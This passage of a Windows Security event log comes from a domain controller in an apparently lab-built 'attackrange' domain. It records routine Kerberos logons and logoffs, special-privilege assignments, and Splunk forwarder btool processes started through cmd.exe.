- Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14F52D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64594 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252097 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14F52D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252096 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14F4CC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252095 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14F4CC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64593 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252094 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14F4CC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252093 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252092 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1044 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252091 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1044 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252090 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252089 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x120c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252088 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x120c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252133 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x150655 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252132 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x150655 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64600 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252131 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x150655 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252130 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1505F4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252129 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1505F4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64599 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252128 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1505F4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252127 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15058E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252126 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15058E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64598 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252125 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15058E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252124 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15052D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252123 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15052D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64597 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252122 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15052D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252121 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1338 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x126c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252120 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x126c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf38 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252119 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf38 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - 